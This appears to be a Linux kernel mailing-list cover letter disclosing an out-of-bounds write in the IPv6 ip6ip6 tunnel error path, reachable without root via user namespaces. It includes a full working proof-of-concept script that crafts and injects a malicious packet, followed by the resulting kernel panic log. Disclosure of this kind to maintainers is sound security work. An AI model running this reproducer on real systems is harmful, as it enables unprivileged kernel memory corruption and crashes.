Thread (2 messages) flat view 2 messages, 1 author, 1d ago
WARM1d

[PATCH net 0/1] ip6_tunnel: clear skb2->cb[] in ip6ip6_err()

From: Zhiling Zou <hidden>
Date: 2026-08-03 06:12:47

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv6/ip6_tunnel.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ip6ip6_err() clones an outer IPv6 ICMP error skb, pulls it to the
quoted inner IPv6 packet, and then passes the clone to icmpv6_send().
The cloned skb keeps the outer packet's inet6_skb_parm in skb->cb.

If the outer packet carried a Home Address Option, IP6CB(skb2)->dsthao
remains non-zero after skb_pull(). icmp6_send() later calls
mip6_addr_swap(), which uses that stale dsthao offset against the
quoted inner packet.

The attached PoC makes the quoted inner packet start with an
attacker-controlled fake destination-options header at that stale
offset. ipv6_find_tlv() then returns the final byte of the quoted
packet as a fake HAO match, and mip6_addr_swap() performs a 16-byte
address swap past skb->tail into skb_shared_info.

On our test kernel this corrupts skb_shared_info and triggers a warning
in skb_release_data(), which panics the guest because panic_on_warn is
enabled.

Reproducer:

    chmod +x ./poc.sh
    ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/bash
set -euo pipefail

if [[ "${POC_INNER:-0}" != "1" ]]; then
	exec unshare -Urn env POC_INNER=1 bash "$0"
fi

TUN_IF="tuninj"
TNL_IF="tuntnl"
LOCAL="2001:db8:31::1"
CAREOF="2001:db8:31::2"
HOME="2001:db8:33::9"
INNER_SRC="7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST="2001:db8:32::200"
FAKE_LEN=168

cleanup() {
	ip link del "$TNL_IF" 2>/dev/null || true
	ip link del "$TUN_IF" 2>/dev/null || true
}
trap cleanup EXIT

ip tuntap add mode tun "$TUN_IF"
ip link set "$TUN_IF" up
ip -6 addr add "$LOCAL"/64 dev "$TUN_IF"

ip link add "$TNL_IF" type ip6tnl \
	local "$LOCAL" \
	remote "$CAREOF" \
	mode ip6ip6 \
	dev "$TUN_IF"
ip link set "$TNL_IF" up

ip xfrm state add \
	src "$HOME" \
	dst "$LOCAL" \
	proto hao \
	mode ro \
	coa "$CAREOF" \
	dir in

ip xfrm policy add \
	dir in \
	src "$HOME"/128 \
	dst "$LOCAL"/128 \
	tmpl src "$HOME" dst "$LOCAL" proto hao mode ro

python3 - <<'PY'
import fcntl
import ipaddress
import os
import struct

TUNSETIFF = 0x400454CA
IFF_TUN = 0x0001
IFF_NO_PI = 0x1000

LOCAL = "2001:db8:31::1"
CAREOF = "2001:db8:31::2"
HOME = "2001:db8:33::9"
INNER_SRC = "7fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"
INNER_DST = "2001:db8:32::200"
FAKE_LEN = 168
TUN_IF = b"tuninj"


def ipv6_header(src, dst, nexthdr, payload_len, hop_limit=64):
    return struct.pack(
        "!IHBB16s16s",
        6 << 28,
        payload_len,
        nexthdr,
        hop_limit,
        ipaddress.IPv6Address(src).packed,
        ipaddress.IPv6Address(dst).packed,
    )


def checksum(buf):
    if len(buf) & 1:
        buf += b"\x00"
    total = 0
    for i in range(0, len(buf), 2):
        total += (buf[i] << 8) | buf[i + 1]
        total = (total & 0xFFFF) + (total >> 16)
    return (~total) & 0xFFFF


fake = bytearray(FAKE_LEN)
fake[0] = 59
fake[1] = (FAKE_LEN // 8) - 1
fake[-1] = 201

inner = ipv6_header(INNER_SRC, INNER_DST, 59, len(fake)) + fake
quoted = ipv6_header(LOCAL, CAREOF, 41, len(inner)) + inner

destopt = bytes([58, 2, 201, 16]) + ipaddress.IPv6Address(HOME).packed + (b"\x00" * 4)

icmp = bytearray(struct.pack("!BBHI", 1, 0, 0, 0) + quoted)
pseudo = (
    ipaddress.IPv6Address(HOME).packed
    + ipaddress.IPv6Address(LOCAL).packed
    + struct.pack("!I3xB", len(icmp), 58)
)
icmp[2:4] = struct.pack("!H", checksum(pseudo + icmp))

packet = ipv6_header(CAREOF, LOCAL, 60, len(destopt) + len(icmp)) + destopt + icmp

fd = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack("16sH", TUN_IF, IFF_TUN | IFF_NO_PI)
fcntl.ioctl(fd, TUNSETIFF, ifr)
os.write(fd, packet)
print("sent", len(packet))
os.close(fd)
PY

------END poc.sh--------

----BEGIN crash log----

[  253.382150][T10576] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  253.383005][T10576] CPU: 1 UID: 1028 PID: 10576 Comm: python3 Not tainted 6.12.95 #2
[  253.383510][T10576] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  253.384404][T10576] Call Trace:
[  253.384667][T10576]  <TASK>
[  253.384921][T10576]  panic+0x533/0x610
[  253.385260][T10576]  ? __pfx_panic+0x10/0x10
[  253.385637][T10576]  ? skb_release_data+0x404/0x690
[  253.386034][T10576]  check_panic_on_warn+0x61/0x80
[  253.386471][T10576]  __warn+0xdf/0x2e0
[  253.386767][T10576]  ? skb_release_data+0x404/0x690
[  253.387201][T10576]  report_bug+0x308/0x3d0
[  253.387558][T10576]  handle_bug+0x111/0x150
[  253.388031][T10576]  exc_invalid_op+0x17/0x50
[  253.388428][T10576]  asm_exc_invalid_op+0x1a/0x20
[  253.388773][T10576] RIP: 0010:skb_release_data+0x404/0x690
[  253.389169][T10576] Code: 28 30 0f 89 77 ff ff ff 48 89 7c 24 18 e8 24 e0 fe ff 48 8b 7c 24 18 84 c0 0f 85 6f ff ff ff 40 f6 c7 01 0f 84 60 ff ff ff 90 <0f> 0b 90 31 ff e9 55 ff ff ff 48 8d 7d 08 48 b8 00 00 00 00 00 fc
[  253.390526][T10576] RSP: 0018:ffffc900141bf6b8 EFLAGS: 00010202
[  253.390911][T10576] RAX: 0000000000000000 RBX: ffff888064c5be00 RCX: 0000000000000001
[  253.391419][T10576] RDX: 0000000000000002 RSI: 1ffff11021c6903e RDI: 6b6b6b6b6b6b6b6b
[  253.391923][T10576] RBP: ffff88810e3481c0 R08: 0000000000000000 R09: ffffed1021c6903c
[  253.392423][T10576] R10: ffff88810e3481e3 R11: 0000000000000003 R12: ffff88810e3481f0
[  253.393012][T10576] R13: ffff888064c5be7e R14: 0000000000000000 R15: dffffc0000000000
[  253.393628][T10576]  ? skb_release_data+0xc4/0x690
[  253.394013][T10576]  sk_skb_reason_drop+0xb0/0x100
[  253.394333][T10576]  icmpv6_rcv+0xa4f/0x1830
[  253.394674][T10576]  ip6_protocol_deliver_rcu+0xcb7/0x1450
[  253.395115][T10576]  ? trace_lock_acquire+0x145/0x1c0
[  253.395626][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.396064][T10576]  ? __pfx_ipv6_rcv+0x10/0x10
[  253.396452][T10576]  ip6_input_finish+0x11b/0x240
[  253.396759][T10576]  ? ip6_input+0x78/0xb0
[  253.397109][T10576]  __netif_receive_skb_one_core+0x11a/0x1b0
[  253.397564][T10576]  ? __pfx___netif_receive_skb_one_core+0x10/0x10
[  253.398041][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.398412][T10576]  ? lock_acquire+0x2f/0xb0
[  253.398707][T10576]  ? netif_receive_skb+0xcc/0x5a0
[  253.399044][T10576]  netif_receive_skb+0xfb/0x5a0
[  253.399360][T10576]  ? __pfx_netif_receive_skb+0x10/0x10
[  253.399725][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.400136][T10576]  ? __pfx___lock_acquire+0x10/0x10
[  253.400469][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.400861][T10576]  tun_rx_batched+0x3ed/0x7f0
[  253.401178][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.401536][T10576]  ? __pfx_tun_rx_batched+0x10/0x10
[  253.401879][T10576]  ? tun_get_user+0xab0/0x32a0
[  253.402197][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.402554][T10576]  ? lock_acquire+0x2f/0xb0
[  253.402845][T10576]  ? tun_get_user+0xab0/0x32a0
[  253.403173][T10576]  tun_get_user+0x201c/0x32a0
[  253.403498][T10576]  ? __pfx___lock_acquire+0x10/0x10
[  253.403843][T10576]  ? __pfx_tun_get_user+0x10/0x10
[  253.404178][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.404539][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.404898][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.405279][T10576]  ? lb_tx_method_get+0x40/0xf0
[  253.405621][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.406005][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.406378][T10576]  tun_chr_write_iter+0xba/0x1b0
[  253.406711][T10576]  vfs_write+0x604/0xf30
[  253.406998][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.407465][T10576]  ? __tun_chr_ioctl+0xc04/0x3ac0
[  253.407795][T10576]  ? __pfx_vfs_write+0x10/0x10
[  253.408127][T10576]  ? __pfx___tun_chr_ioctl+0x10/0x10
[  253.408517][T10576]  ksys_write+0xfb/0x1d0
[  253.408791][T10576]  ? __pfx_ksys_write+0x10/0x10
[  253.409114][T10576]  ? srso_alias_return_thunk+0x5/0xfbef5
[  253.409490][T10576]  do_syscall_64+0xc7/0x270
[  253.409836][T10576]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  253.410334][T10576] RIP: 0033:0x7f3925833687
[  253.410623][T10576] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[  253.411839][T10576] RSP: 002b:00007fff69998b20 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[  253.412402][T10576] RAX: ffffffffffffffda RBX: 00007f392579f780 RCX: 00007f3925833687
[  253.412908][T10576] RDX: 0000000000000140 RSI: 00007f392512cd40 RDI: 0000000000000003
[  253.413427][T10576] RBP: 00007f392579f700 R08: 0000000000000000 R09: 0000000000000000
[  253.413926][T10576] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f392512cd40
[  253.414697][T10576] R13: 0000000000000003 R14: 0000000000a83590 R15: 00007f3925adb088
[  253.415232][T10576]  </TASK>
[  253.415637][T10576] Kernel Offset: disabled
[  253.415930][T10576] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  ip6_tunnel: clear skb2->cb[] in ip6ip6_err()

 net/ipv6/ip6_tunnel.c | 3 +++
 1 file changed, 3 insertions(+)

-- 
2.43.0
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help